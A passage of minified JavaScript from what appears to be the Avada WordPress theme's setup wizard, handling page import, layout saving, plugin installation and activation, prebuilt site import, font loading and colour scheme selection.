@return {promise} */ setGlobalOptionsMaintenance: function() { var self = this; // Add an endpoint to updates site for this. return jQuery.ajax( { url: ajaxurl, type: 'POST', data: { action: 'awb_save_globals_maintenance', maintenance: self.$el.find( 'input[name="awb-scratch-activate-maintenance"]' ).prop( 'checked' ), awb_setup_nonce: jQuery( '#awb-setup-nonce' ).val() }, dataType: 'json' } ) .done( function() { // Add info if needed. } ); }, /** * Import selected pages. * * @since 7.7 * * @return {promise} */ importPages: function() { const dummy_content = this.$el.find( '.dummy-content-button input[type=checkbox]' ).is( ':checked' ), header = this.$el.find( '.layout-input input[name="header"]' ).val(), pages = [], self = this; jQuery( '.awb-setup-wizard-section[data-step="' + self.activeStep + '"] li[data-action="import-pages"]' ).addClass( 'awb-working' ); this.$el.find( '.awb-db-preview-grid:not( .awb-db-needed-plugins ) .awb-db-preview' ).each( function() { if ( jQuery( this ).find( '.awb-feature' ).is( ':checked' ) ) { const settings = jQuery( this ).find( '.awb-feature' ).data( 'settings' ); settings.title = jQuery( this ).find( '.awb-feature-title' ).val(); pages.push( settings ); } } ); return jQuery.ajax( { url: ajaxurl, type: 'POST', data: { action: 'awb_import_setup_pages', scheme: this.colors, awb_setup_nonce: jQuery( '#awb-setup-nonce' ).val(), dark_light: jQuery( '#dark_light' ).val(), pages, dummy_content, header, overwriteType: 'inherit', imagesImport: 'dont-import-images' }, dataType: 'json' } ) .done( function( response ) { jQuery( '.awb-setup-wizard-section[data-step="' + self.activeStep + '"] li[data-action="import-pages"]' ).removeClass( 'awb-working' ).addClass( 'checked' ); if ( response.pages ) { self.pages = response.pages; } } ) .fail( function() { // Page import failed. } ); }, /** * Save the header content to a new header layout section set to global. * * @since 7.7 * * @return {promise} */ saveLayouts: function() { var self = this; this.currentImportStage = 'save-layouts'; jQuery( '.awb-setup-wizard-section[data-step="' + self.activeStep + '"] li[data-action="save-layouts"]' ).addClass( 'awb-working' ); return jQuery.ajax( { url: ajaxurl, type: 'POST', data: { action: 'awb_save_setup_layouts', header: self.$el.find( '.layout-input input[name="header"]' ).val(), header_options: self.$el.find( '.layout-input input[name="header-options"]' ).val(), footer: self.$el.find( '.layout-input input[name="footer"]' ).val(), footer_options: self.$el.find( '.layout-input input[name="footer-options"]' ).val(), logo_url: self.$el.find( 'input[name="awb_logo[url]"]' ).val(), logo_id: self.$el.find( 'input[name="awb_logo[id]"]' ).val(), site_title: self.$el.find( '#site_title' ).val(), awb_setup_nonce: jQuery( '#awb-setup-nonce' ).val(), overwriteType: 'inherit', imagesImport: 'dont-import-images', pages: self.pages }, dataType: 'json' } ) .done( function() { jQuery( '.awb-setup-wizard-section[data-step="' + self.activeStep + '"] li[data-action="save-layouts"]' ).removeClass( 'awb-working' ).addClass( 'checked' ); } ); }, /** * Finalise scratch import. * * @since 7.7 * * @return {promise} */ finaliseScratchSetup: function() { var self = this; this.currentImportStage = 'finalise-scratch-setup'; jQuery( '.awb-setup-wizard-section[data-step="' + self.activeStep + '"] li[data-action="finalise-scratch-setup"]' ).addClass( 'awb-working' ); return jQuery.ajax( { url: ajaxurl, type: 'POST', data: { action: 'awb_finalise_scratch_setup', site_title: self.$el.find( '#site_title' ).val(), site_tagline: self.$el.find( '#site_tagline' ).val(), awb_setup_nonce: jQuery( '#awb-setup-nonce' ).val() }, dataType: 'json' } ) .done( function() { jQuery( '.awb-setup-wizard-section[data-step="' + self.activeStep + '"] li[data-action="finalise-scratch-setup"]' ).removeClass( 'awb-working' ).addClass( 'checked' ); } ); }, /** * Init font family/variant select fields. * * @since 7.5 * * @return {void} */ setMenuState: function( state ) { this.$steps.attr( 'data-state', state ); }, /** * Change which step is active. * * @since 7.5 * * @return {void} */ changeStep: function( step ) { var $step = this.$el.find( '.awb-setup-wizard-section[data-step="' + step + '"]' ); if ( $step.length ) { $step.removeClass( 'hidden' ); this.$el.find( '.awb-setup-wizard-section:not([data-step="' + step + '"])' ).addClass( 'hidden' ); this.activeStep = parseInt( step ); this.$steps.find( '.completed' ).removeClass( 'completed' ); this.$steps.find( 'li:not([data-id="' + step + '"])' ).removeClass( 'active' ); this.$steps.find( '[data-id="' + step + '"]' ).addClass( 'active' ).prevAll().addClass( 'completed' ); this.scrollTo(); if ( 4 === this.activeStep ) { this.initColorsTab(); } else if ( 5 === this.activeStep ) { this.initFontCards(); } else if ( 6 === this.activeStep ) { window.dispatchEvent( new Event( 'awb-studio-update-palettes' ) ); } else if ( 7 === this.activeStep ) { this.modal.renderContents( 'header', 'minimal', '.awb-db-preview-grid' ); } else if ( 8 === this.activeStep ) { this.updateLayouts(); this.scratchDisplaySelectedPlugins(); } else if ( 20 === this.activeStep ) { this.initPrebuilts(); } else if ( 21 === this.activeStep ) { this.displayPrebuiltSelection(); } } }, /** * Update the layouts that will be displayed. * * @since 7.7 * * @return {void} */ updateLayouts: function() { var self = this; this.$el.find( '.awb-feature' ).each( function() { if ( jQuery( this ).is( ':checked' ) ) { self.$el.find( '.awb-wizard-option-group[data-layout="' + jQuery( this ).val() + '"]' ).show(); } else { self.$el.find( '.awb-wizard-option-group[data-layout="' + jQuery( this ).val() + '"]' ).hide(); } } ); }, /** * Display plugins which will be activated. * * @since 7.7 * * @return {void} */ scratchDisplaySelectedPlugins: function() { var htmlActive = '', htmlOther = ''; this.$el.find( '.awb-db-needed-plugins .awb-needed-plugin:checked' ).each( function() { var pluginCSSClasses = 'awb-setup-stage', plugin = jQuery( this ).val(); if ( 'undefined' !== typeof awbPrebuilts.plugins[ plugin ] ) { if ( true === awbPrebuilts.plugins[ plugin ].installed ) { pluginCSSClasses += ' awb-plugin-installed'; } if ( true === awbPrebuilts.plugins[ plugin ].active ) { pluginCSSClasses += ' awb-plugin-active checked'; } if ( -1 !== pluginCSSClasses.indexOf( 'checked' ) ) { htmlActive += '
  • ' + awbPrebuilts.plugins[ plugin ].plugin_name + '
  • '; } else { htmlOther += '
  • ' + awbPrebuilts.plugins[ plugin ].plugin_name + '
  • '; } } } ); // Remove possibly previously added plugins. this.$el.find( '.awb-setup-wizard-section[data-step="8"] .awb-setup-wizard-content .checklist li[data-plugin]' ).remove(); if ( '' !== htmlActive || '' !== htmlOther ) { jQuery( '.awb-setup-wizard-section[data-step="8"] .awb-setup-wizard-content .checklist' ).prepend( htmlActive + htmlOther ); } }, /** * Activate selected plugins. * * @since 7.7 * * @return {void} */ scratchBuild: function() { var setupImportStages = []; jQuery.each( this.$el.find( '.awb-setup-wizard-section[data-step="8"] .awb-setup-wizard-content .checklist li[data-plugin]' ), function( index, element ) { // Plugin installed and active. if ( jQuery( element ).hasClass( 'awb-plugin-active' ) ) { return; // Continue. } // Plugin installed but not active. if ( jQuery( element ).hasClass( 'awb-plugin-installed' ) && ! jQuery( element ).hasClass( 'awb-plugin-active' ) ) { setupImportStages.push( { type: 'plugin-activate', plugin: jQuery( element ).data( 'plugin' ), plugin_name: jQuery( element ).data( 'plugin_name' ) } ); return; // Continue. } // If we're here it means plugin is not installed. setupImportStages.push( { type: 'plugin-install', plugin: jQuery( element ).data( 'plugin' ), plugin_name: jQuery( element ).data( 'plugin_name' ) } ); } ); // Import globals. setupImportStages.push( { type: 'set-globals' } ); // Import layouts. setupImportStages.push( { type: 'import-pages' } ); // Import layouts. setupImportStages.push( { type: 'save-layouts' } ); // Set site title and description, clear cache, flush permalinks. setupImportStages.push( { type: 'finalise-scratch-setup' } ); this.processImportStages( setupImportStages ); }, /** * Deep merge together objects. * * @since 7.5 * * @return {object} */ deepAssign: function( target, ...sources ) { var self = this, source; for ( source of sources ) { for ( const k in source ) { // eslint-disable-line guard-for-in const vs = source[ k ], vt = target[ k ]; if ( Object( vs ) == vs && Object( vt ) === vt ) { target[ k ] = self.deepAssign( vt, vs ); continue; // eslint-disable-line no-continue } target[ k ] = source[ k ]; } } return target; }, webLoadFont: function( $card ) { var self = this, types = [ 'headings', 'subheadings', 'lead', 'body', 'small' ], fontFamilies = {}, familyArray = []; if ( $card.hasClass( 'loaded' ) ) { return; } $card.addClass( 'loaded' ); types.forEach( function( type ) { var family = $card[ 0 ].style.getPropertyValue( '--' + type + '_font_family' ), weight = $card[ 0 ].style.getPropertyValue( '--' + type + '_font_weight' ), fontStyle = $card[ 0 ].style.getPropertyValue( '--' + type + '_font_style' ); if ( 'string' !== typeof family || '' === family || 'initial' === family ) { return; } if ( 'string' !== typeof fontStyle || '' === fontStyle ) { fontStyle = 'normal'; } if ( 'italic' === fontStyle ) { weight += fontStyle; } if ( 'object' !== typeof fontFamilies[ family ] ) { fontFamilies[ family ] = []; } if ( ! fontFamilies[ family ].includes( weight ) ) { fontFamilies[ family ].push( weight ); } } ); // Check if any have already been loaded. _.each( fontFamilies, function( weights, family ) { var newWeights = []; if ( 'object' === typeof self.loadedFonts[ family ] ) { weights.forEach( function( weight ) { if ( ! self.loadedFonts[ family ].includes( weight ) ) { newWeights.push( weight ); } } ); if ( newWeights.length ) { fontFamilies[ family ] = newWeights; } else { delete fontFamilies[ family ]; } } } ); // No variants to load. if ( 0 === Object.keys( fontFamilies ).length ) { return; } // Process required fonts. _.each( fontFamilies, function( weights, family ) { familyArray.push( family + ':' + weights.join( ',' ) ); } ); // Load the required fonts. WebFont.load( { google: { families: familyArray } } ); // Add into main object so they are not loaded again. self.loadedFonts = self.deepAssign( self.loadedFonts, fontFamilies ); }, /** * Init font cards. * * @since 7.5 * * @return {void} */ initFontCards: async function() { var self = this, options = { root: null, rootMargin: '0px', threshold: 0 }, typographies = await this.getTypographiesFromRemote(), typography, i, html, isFirstTypography = true, $typoListWrapper = jQuery( '.awb-setup-wizard-typography-list' ), typoTranslations = JSON.parse( $typoListWrapper.attr( 'data-item-translations' ) ), typoStyle = '', propName, typoStyleObj, cardObserver; // Create typo cards. for ( i = 0; i < typographies.length; i++ ) { typography = typographies[ i ]; typoStyleObj = this.getTypoStyle( typographies[ i ] ); typoStyle = ''; for ( propName in typoStyleObj ) { //eslint-disable-line typoStyle += propName + ':' + typoStyleObj[ propName ] + ';'; } html = jQuery( '
  • ' ); html.append( jQuery( '

    ' ).text( typoTranslations.heading ) ); html.append( jQuery( '
    ' ).text( typoTranslations.subheading ) ); html.append( jQuery( '

    ' ).text( typoTranslations.text1 ) ); html.append( jQuery( '
    ' ) ); html.append( jQuery( '' ).text( typoTranslations.text2 ) ); html.append( jQuery( '' ).text( typoTranslations.button_text ) ); isFirstTypography = false; $typoListWrapper.append( html ); } if ( 'IntersectionObserver' in window ) { cardObserver = new IntersectionObserver( function( entries ) { jQuery.each( entries, function( key, entry ) { if ( entry.isIntersecting ) { self.webLoadFont( jQuery( entry.target ) ); cardObserver.unobserve( entry.target ); } } ); }, options ); this.$el.find( '.typo-card' ).each( function() { cardObserver.observe( this ); } ); this.$el.find( '.awb-setup-wizard-typography-list li' ).on( 'click', function() { jQuery( this ).addClass( 'active' ).siblings().removeClass( 'active' ); self.setFontVars(); self.scrollTo(); self.$el.find( '#typo-selection' ).fadeOut( 300, function() { self.$el.find( '.awb-setup-wizard-typography-preview-wrapper' ).fadeIn( 300 ); } ); } ); // Listen for typo back button click. this.$el.find( '.typography-options .awb-button[href="#selection"]' ).on( 'click', function( event ) { event.preventDefault(); self.$el.find( '.awb-setup-wizard-typography-preview-wrapper' ).fadeOut( 300, function() { self.$el.find( '#typo-selection' ).fadeIn( 300 ); } ); } ); // Next or previous typos. this.$el.find( '.typo-nav .awb-button' ).on( 'click', function( event ) { var $target = false, $preview = self.$el.find( '.awb-setup-wizard-style-preview-typography' ); event.preventDefault(); if ( '#next' === jQuery( this ).attr( 'href' ) ) { $target = self.$el.find( '.awb-setup-wizard-typography-list li.active' ).next(); } else { $target = self.$el.find( '.awb-setup-wizard-typography-list li.active' ).prev(); } if ( $target && $target.length ) { self.$el.find( '.awb-setup-wizard-typography-list li.active' ).removeClass( 'active' ); $target.addClass( 'active' ); $preview.css( 'opacity', 0 ); setTimeout( function() { self.setFontVars(); }, 250 ); setTimeout( function() { $preview.css( 'opacity', 1 ); }, 300 ); // If not already, get necessary webfonts. self.webLoadFont( $target ); } } ); } }, getTypoStyle: function( typographySet = [] ) { var variables = {}, typoProperty, property; for ( property in typographySet ) { if ( ! typographySet[ property ] || 'object' !== typeof ( typographySet[ property ] ) || ! typographySet[ property ].font_family ) { continue; // eslint-disable-line no-continue } for ( typoProperty in typographySet[ property ] ) { if ( typographySet[ property ][ typoProperty ] ) { // filter font-size, because they have custom font size. if ( 'font_size' === typoProperty ) { continue; // eslint-disable-line no-continue } variables[ '--' + property + '_' + typoProperty ] = typographySet[ property ][ typoProperty ]; } } } return variables; }, setFontVars: async function() { var $target = this.$el.find( '.awb-setup-wizard-typography-list li.active' ), $preview = this.$el.find( '.awb-setup-wizard-style-preview-typography' ), typographies = await this.getTypographiesFromRemote(), typoName, i; // Update active typo set and data. typoName = $target.attr( 'data-id' ); for ( i = 0; i < typographies.length; i++ ) { if ( typographies[ i ].name && typographies[ i ].name === typoName ) { this.activeTypoSetData = typographies[ i ]; break; } } $preview.css( this.getTypoStyle( this.activeTypoSetData ) ); }, updateFontSizePreview: function() { var baseFont = parseInt( this.$el.find( '#pyre_base_size' ).val() ), sizing = parseFloat( this.$el.find( '#pyre_sizing_type' ).val() ), data = {}; if ( ! baseFont ) { baseFont = 16; } data[ '--awb_base_size' ] = ( baseFont + 'px' ); data[ '--awb_heading_ratio' ] = sizing; this.$el.find( '.awb-setup-wizard-style-preview-typography' ).css( data ); }, /** * Init prebuilts. * * @since 7.5 * * @return {void} */ initPrebuilts: function() { var options = { root: null, rootMargin: '0px', threshold: 0 }, prebuiltObserver; // Clear any previously selected prebuilt. this.$el.find( '.fusion-admin-box.active' ).removeClass( 'active' ); if ( 'IntersectionObserver' in window ) { prebuiltObserver = new IntersectionObserver( function( entries ) { jQuery.each( entries, function( key, entry ) { if ( entry.isIntersecting ) { const attr = 1 < window.devicePixelRatio ? 'data-src-retina' : 'data-src'; entry.target.src = entry.target.getAttribute( attr ); prebuiltObserver.unobserve( entry.target ); } } ); }, options ); this.$el.find( '.theme-screenshot img' ).each( function() { prebuiltObserver.observe( this ); } ); } }, /** * Display selected prebuilt site and it's features. * * @since 7.5 * * @return {void} */ displayPrebuiltSelection: function() { var prebuiltID = this.$el.find( '.fusion-admin-box.active' ).data( 'demo-id' ), requiredPlugins = '', prebuiltFeatures = '', firstContentItem = false, prebuiltLabel = '', prebuiltClass = ''; // Use classic if user didn't make selection. if ( ! prebuiltID ) { prebuiltID = 'classic'; } if ( 'undefined' !== typeof awbPrebuilts.websites[ prebuiltID ] ) { // Prebuilt thumb. jQuery( '#awb-selected-prebuilt-thumb' ).html( '' ); // Required plugins, fusion core and fusion builder are always required and (assumed) activate at this point. jQuery.each( awbPrebuilts.websites[ prebuiltID ].plugin_dependencies, function( plugin, required ) { var pluginCSSClasses = 'awb-setup-stage', pluginStatus = ''; if ( true === required && 'undefined' !== typeof awbPrebuilts.plugins[ plugin ] ) { if ( true === awbPrebuilts.plugins[ plugin ].installed ) { pluginStatus = 'installed'; } if ( true === awbPrebuilts.plugins[ plugin ].active ) { pluginStatus = 'active'; pluginCSSClasses += ' checked'; } requiredPlugins += '
  • ' + awbPrebuilts.plugins[ plugin ].plugin_name + '
  • '; } } ); // Prebuilt features, feature either has feature_dependency or plugin_dependency (not both). jQuery.each( awbPrebuilts.import_stages, function( index, feature ) { var dataType = ''; if ( 'undefined' !== typeof feature.plugin_dependency && ( 'undefined' === typeof awbPrebuilts.websites[ prebuiltID ].plugin_dependencies[ feature.plugin_dependency ] || false === awbPrebuilts.websites[ prebuiltID ].plugin_dependencies[ feature.plugin_dependency ] ) ) { return; // Continue. } if ( 'undefined' !== typeof feature.feature_dependency && -1 === awbPrebuilts.websites[ prebuiltID ].features.indexOf( feature.feature_dependency ) ) { return; // Continue. } if ( 'undefined' !== typeof feature.data ) { dataType = ' data-type="' + feature.data + '"'; } prebuiltLabel = feature.label; prebuiltClass = 'awb-setup-stage'; // We want only first content item to be visible and to change it's label. if ( 'content' === feature.data && false === firstContentItem ) { prebuiltLabel = fusionBuilderText.content; prebuiltClass += ' awb-visible'; firstContentItem = true; } prebuiltFeatures += '
  • ' + prebuiltLabel + '
  • '; } ); jQuery( '#awb-selected-prebuilt-features-list' ).html( requiredPlugins + prebuiltFeatures ); } }, /** * Prepares data for prebuilt import. * * @since 7.7 * * @return {void} */ prepareSetupImport: function() { var importStagesCount, i, setupImportStages = [], prebuiltData = { action: 'fusion_import_demo_data', security: awbPrebuilts.nonce_import_prebuilt, demoType: this.$el.find( '.fusion-admin-box.active' ).data( 'demo-id' ), importStages: [ 'download' ], contentTypes: [], fetchAttachments: true, allImport: true, siteTitle: this.$el.find( '#site_title' ).val() }; // Plugins, then prebuilt import. jQuery( '#awb-selected-prebuilt-features-list li' ).each( function() { // Plugins. if ( 'undefined' !== typeof jQuery( this ).data( 'plugin' ) ) { // Plugin installed and active. if ( 'active' === jQuery( this ).data( 'plugin-status' ) ) { return; // Continue. } // Plugin installed but not active. if ( 'installed' === jQuery( this ).data( 'plugin-status' ) ) { setupImportStages.push( { type: 'plugin-activate', plugin: jQuery( this ).data( 'plugin' ), plugin_name: jQuery( this ).data( 'plugin_name' ) } ); return; // Continue. } // If we're here it means plugin is not installed. setupImportStages.push( { type: 'plugin-install', plugin: jQuery( this ).data( 'plugin' ), plugin_name: jQuery( this ).data( 'plugin_name' ) } ); return; // Continue. } // If we're here it means we're iterating through prebuilt part. if ( 'content' === this.getAttribute( 'data-type' ) ) { prebuiltData.contentTypes.push( this.getAttribute( 'data-value' ) ); if ( -1 === prebuiltData.importStages.indexOf( 'content' ) ) { prebuiltData.importStages.push( 'content' ); } } else { prebuiltData.importStages.push( this.getAttribute( 'data-value' ) ); } } ); prebuiltData.importStages.push( 'general_data' ); importStagesCount = prebuiltData.importStages.length; for ( i = 0; i < importStagesCount; i++ ) { setupImportStages.push( jQuery.extend( true, {}, { type: 'prebuilt-import', prebuiltData: prebuiltData } ) ); prebuiltData.importStages.shift(); } if ( this.$el.find( 'input[name="awb-scratch-activate-maintenance"]' ).prop( 'checked' ) ) { setupImportStages.push( jQuery.extend( true, {}, { type: 'set-globals-maintenance' } ) ); } this.processImportStages( setupImportStages ); }, /** * Goes through import stages and processes them. * Import stage can be pluging install, plugin activation or importing prebuilt website. * * @since 7.7 * * @return {void} */ processImportStages: function( setupImportStages ) { var self = this, promises = [], i, dfd = jQuery.Deferred(), // Master deferred. dfdNext = dfd; // Next deferred in the chain, dfd.resolve(); this._cloneImportStages = _.clone( setupImportStages ); // Install / Activate plugins and import prebuilt. if ( 0 < setupImportStages.length ) { for ( i = 0; i < setupImportStages.length; i++ ) { // IIFE to freeze the value of i. ( function( k ) { // eslint-disable-line no-loop-func dfdNext = dfdNext.then( function() { if ( 'plugin-activate' === setupImportStages[ k ].type ) { return self.activatePlugin( setupImportStages[ k ] ); } else if ( 'plugin-install' === setupImportStages[ k ].type ) { return self.installPlugin( setupImportStages[ k ] ); } else if ( 'prebuilt-import' === setupImportStages[ k ].type ) { return self.importPrebuiltSite( setupImportStages[ k ].prebuiltData ); } else if ( 'set-globals' === setupImportStages[ k ].type ) { return self.setGlobalOptions(); } else if ( 'set-globals-maintenance' === setupImportStages[ k ].type ) { return self.setGlobalOptionsMaintenance(); } else if ( 'import-pages' === setupImportStages[ k ].type ) { return self.importPages(); } else if ( 'save-layouts' === setupImportStages[ k ].type ) { return self.saveLayouts(); } else if ( 'finalise-scratch-setup' === setupImportStages[ k ].type ) { return self.finaliseScratchSetup(); } } ); promises.push( dfdNext ); }( i ) ); } jQuery.when.apply( null, promises ).then( function() { // Success. window.dispatchEvent( new Event( 'awb-setup-success' ) ); }, function( xhr ) { // Fail. window.dispatchEvent( new CustomEvent( 'awb-setup-error', { detail: { xhr: xhr } } ) ); } ); } else { // Dispatch success event if we have nothing to import, to indicate we're done. window.dispatchEvent( new Event( 'awb-setup-success' ) ); } }, /** * Imports prebuilt website. * * @since 7.7 * * @return {void} */ importPrebuiltSite: function( data ) { var self = this, dataType = 'content' === data.importStages[ 0 ] ? 'type' : 'value'; this.currentImportStage = 'prebuilt-import'; jQuery( '#awb-selected-prebuilt-features-list li[data-' + dataType + '="' + data.importStages[ 0 ] + '"]:first' ).addClass( 'awb-working' ); return jQuery.ajax( { method: 'POST', url: ajaxurl, data: data } ).then( function( response, textStatus, xhr ) { var completedImportStage = ''; if ( ( 0 < response.indexOf( 'partially completed' ) || 0 <= response.indexOf( '{"status"' ) ) && 0 < data.importStages.length ) { completedImportStage = response.substring( 'import partially completed: '.length ); self._cloneImportStages.shift(); // Mark imported stage. if ( 'download' !== completedImportStage ) { if ( 'content' === completedImportStage ) { jQuery( '#awb-selected-prebuilt-features-list li[data-type="content"]:first' ).removeClass( 'awb-working' ).addClass( 'checked' ); } else { jQuery( '#awb-selected-prebuilt-features-list li[data-value="' + completedImportStage + '"]' ).removeClass( 'awb-working' ).addClass( 'checked' ); } } return new jQuery.Deferred().resolve().promise(); } else if ( -1 === response && response.indexOf( 'imported' ) ) { // eslint-disable-line no-empty return new jQuery.Deferred().reject( xhr ).promise(); } else if ( 1 < response.indexOf( avadaAdminL10nStrings.file_does_not_exist ) ) { // eslint-disable-line no-empty return new jQuery.Deferred().reject( xhr ).promise(); } return new jQuery.Deferred().resolve().promise(); }, function( xhr ) { // Need to return rejected promise, to stop subsequent import steps. return new jQuery.Deferred().reject( xhr ).promise(); } ); }, setupSuccess: function() { // Remove working class if it was added. if ( 0 < awbSetupWizard.$el.find( '.awb-setup-build.awb-build-working' ).length ) { awbSetupWizard.$el.find( '.awb-setup-build.awb-build-working' ).removeClass( 'awb-build-working' ); } // Reload page after successful registration. if ( jQuery( 'body' ).hasClass( 'avada_page_avada-setup' ) && jQuery( '.intro-start > .awb-wizard-link:first-child' ).hasClass( 'active' ) && jQuery( '#avada-db-registration' ).find( '.avada-db-reg-heading i' ).hasClass( 'fusiona-verified' ) ) { window.location.reload( true ); } // Prebuilt path: open Congrats step. if ( jQuery( 'body' ).hasClass( 'avada_page_avada-setup' ) && jQuery( '.prebuilt-confirm-step' ).is( ':visible' ) ) { awbSetupWizard.changeStep( 9 ); } // Scratch path: open Congrats step. if ( jQuery( 'body' ).hasClass( 'avada_page_avada-setup' ) && jQuery( '.scratch-confirm-step' ).is( ':visible' ) ) { awbSetupWizard.changeStep( 9 ); } }, setupError: function( e ) { var error = { title: fusionBuilderText.setup_general_error_title, content: fusionBuilderText.setup_general_error_message, dialogClass: '' }; if ( 'plugin-activate' === window.awbSetupWizard.currentImportStage || 'plugin-install' === window.awbSetupWizard.currentImportStage ) { error.title = fusionBuilderText.setup_plugin_error_title; } if ( 'prebuilt-import' === window.awbSetupWizard.currentImportStage ) { error.title = fusionBuilderText.setup_prebuilt_error_title; if ( 'gateway timeout' === e.detail.xhr.statusText.toLowerCase() || 524 === e.detail.xhr.status ) { error.content = fusionBuilderText.error_php_limits; error.content += `
    `; error.dialogClass = 'contain-buttons'; } } window.awbSetupWizard.errorDialog( error ); }, errorDialog: function( error ) { var contentErrorMarkup = jQuery( '
    ' + error.content + '
    ' ), dialogClass = 'fusion-builder-dialog fusion-builder-error-dialog fusion-builder-settings-dialog'; if ( '' !== error.dialogClass ) { dialogClass += ' ' + error.dialogClass; } contentErrorMarkup.dialog( { title: error.title, dialogClass: dialogClass, autoOpen: true, modal: true, width: 400, minHeight: 50, open: function() {}, // eslint-disable-line no-empty-function create: function() { // Add Title. jQuery( this ).siblings().find( 'span.ui-dialog-title' ).prepend( '' ); // Add Close button. jQuery( this ).siblings( '.ui-dialog-titlebar' ).append( '' ); }, close: function() {} // eslint-disable-line no-empty-function } ); }, /** * Activates required plugin. * * @since 7.7 * * @return {void} */ activatePlugin: function( pluginData ) { var data = { action: 'fusion_activate_plugin', avada_activate: 'activate-plugin', plugin: pluginData.plugin, plugin_name: pluginData.plugin_name, avada_activate_nonce: awbPrebuilts.nonce_activate_plugin }, self = this; self.currentImportStage = 'plugin-activate'; jQuery( '.awb-setup-wizard-section[data-step="' + self.activeStep + '"] li[data-plugin="' + data.plugin + '"]' ).addClass( 'awb-working' ); return jQuery.get( ajaxurl, data, function( response ) { if ( true !== response.error ) { jQuery( '.awb-setup-wizard-section[data-step="' + self.activeStep + '"] li[data-plugin="' + data.plugin + '"]' ).removeClass( 'awb-working' ).addClass( 'checked' ).attr( 'data-plugin-status', 'active' ); } else { // Plugin activation failed. } }, 'json' ); }, /** * Installs required plugin. * * @since 7.7 * * @return {void} */ installPlugin: function( pluginData ) { var data = { action: 'fusion_install_plugin', avada_activate: 'activate-plugin', plugin: pluginData.plugin, plugin_name: pluginData.plugin_name, avada_activate_nonce: awbPrebuilts.nonce_activate_plugin, page: 'install-required-plugins' }, self = this; self.currentImportStage = 'plugin-install'; jQuery( '.awb-setup-wizard-section[data-step="' + self.activeStep + '"] li[data-plugin="' + data.plugin + '"]' ).addClass( 'awb-working' ); // 'page' arg needed so 'avada_get_required_and_recommened_plugins' sets proper plugin URL. data[ 'tgmpa-install' ] = 'install-plugin'; data[ 'tgmpa-nonce' ] = awbPrebuilts.nonce_install_plugin; return jQuery.get( ajaxurl, data, function( response ) { if ( true !== response.error ) { jQuery( '.awb-setup-wizard-section[data-step="' + self.activeStep + '"] li[data-plugin="' + data.plugin + '"]' ).removeClass( 'awb-working' ).addClass( 'checked' ).attr( 'data-plugin-status', 'active' ); } else { // Plugin install failed. } }, 'html' ); }, /** * If needed installs and activates Avada Core and Avada Builder plugins. * * @since 7.7 * * @return {void} */ activateAvadaPlugins: function() { var requiredPlugins = [], pluginAction = ''; // Check FC status. if ( true !== awbPrebuilts.plugins[ 'fusion-core' ].active ) { pluginAction = 'plugin-activate'; if ( true !== awbPrebuilts.plugins[ 'fusion-core' ].installed ) { pluginAction = 'plugin-install'; } requiredPlugins.push( { plugin: awbPrebuilts.plugins[ 'fusion-core' ].slug, plugin_name: awbPrebuilts.plugins[ 'fusion-core' ].plugin_name, type: pluginAction } ); } // Check FB status. if ( true !== awbPrebuilts.plugins[ 'fusion-builder' ].active ) { pluginAction = 'plugin-activate'; if ( true !== awbPrebuilts.plugins[ 'fusion-builder' ].installed ) { pluginAction = 'plugin-install'; } requiredPlugins.push( { plugin: awbPrebuilts.plugins[ 'fusion-builder' ].slug, plugin_name: awbPrebuilts.plugins[ 'fusion-builder' ].plugin_name, type: pluginAction } ); } this.processImportStages( requiredPlugins ); }, /** * Scroll to top when step changed. * * @since 7.5 * * @return {void} */ scrollTo: function() { jQuery( 'html, body' ).animate( { scrollTop: 0 }, 300 ); }, initColorsTab: async function() { var colorSchemes = await this.getColorSchemasFromRemote(), $colorConfirm = jQuery( '.color-confirm' ), $colorSchemesWrapper = jQuery( '#awb-setup-wizard-color-schemes-wrapper' ), $colorCategoriesWrapper = jQuery( '#awb-setup-wizard-color-categories-wrapper' ), $colorSelectButtons = jQuery( '.awb-setup-wizard-color-buttons' ), $section = jQuery( '.awb-setup-wizard-section[data-step="4"] .awb-setup-wizard-content' ), html = '', counts = {}, categoryName, i; this.initColorPickers(); if ( ! colorSchemes.length ) { $colorSchemesWrapper.html( '

    ' + awbSetup.colors404Message + '

    ' ); return; } for ( i = 0; i < colorSchemes.length; i++ ) { html += getSchemaHtmlAndCountCategories( colorSchemes[ i ] ); } $colorSchemesWrapper.html( html ); if ( $colorConfirm.is( ':visible' ) ) { $colorSelectButtons.addClass( 'hidden' ); $section.addClass( 'awb-setup-wizard-content-secondary' ); } else { $colorSelectButtons.removeClass( 'hidden' ); $section.removeClass( 'awb-setup-wizard-content-secondary' ); } $colorCategoriesWrapper.html( getCategoriesHtml() ); // Set the default colors if is the first time this tab is initialized. if ( ! this.colors.color1 ) { this.setColorVars(); } function getSchemaHtmlAndCountCategories( schema ) { var schemaHtml = '', additionalClass = ( 'classic' === schema.name ? ' class="active"' : '' ), j; for ( j = 0; j < schema.color_categories.length; j++ ) { categoryName = schema.color_categories[ j ]; if ( 'undefined' !== typeof counts[ categoryName ] ) { counts[ categoryName ]++; } else { counts[ categoryName ] = 1; } } schemaHtml += '
  • '; schemaHtml += '
    '; for ( j = 1; 8 >= j; j++ ) { schemaHtml += ''; } schemaHtml += '
    '; schemaHtml += '
  • '; return schemaHtml; } function getCategoriesHtml() { var colors = $colorCategoriesWrapper.attr( 'data-awb-color-names' ); var categoriesHtml = ''; var colorSlug; colors = JSON.parse( colors ); for ( colorSlug in colors ) { if ( 'undefined' !== typeof counts[ colorSlug ] && 0 < counts[ colorSlug ] ) { categoriesHtml += '
  • '; } } return categoriesHtml; } }, initColorPickers: function() { var $pickers = jQuery( '.awb-setup-wizard-custom-colors-wrapper .awb-picker' ), self = this; $pickers.awbColorPicker( { globals: false, hide: true, allowToggle: false, change: _.debounce( handleColorPickerChange, 300 ) } ); $pickers.awbColorPicker( 'open' ); function handleColorPickerChange() { var $el = jQuery( this.element ); var colorId = $el.closest( '.awb-setup-wizard-change-color-setting' ).attr( 'data-color-id' ); var toSetColors = self.setCustomColorVal.bind( self ); var refreshAcc = self.refreshColorAccessibility.bind( self ); toSetColors( colorId, { color: this.color() } ); refreshAcc(); } }, toggleCustomPalette: function() { var $colorSection = jQuery( '.awb-setup-wizard-section[data-step="4"]' ); if ( $colorSection.hasClass( 'awb-setup-wizard-custom-palette-enabled' ) ) { this.disableCustomPalette(); } else { this.enableCustomPalette(); } }, enableCustomPalette: function() { var $colorSection = jQuery( '.awb-setup-wizard-section[data-step="4"]' ), $colorSettings = jQuery( '.awb-setup-wizard-change-color-setting' ), $customizeBtn = jQuery( '.awb-setup-wizard-toggle-custom-palette' ), $schemeNav = jQuery( '.scheme-nav' ), $customPalette = jQuery( '.awb-setup-wizard-custom-colors-wrapper' ), 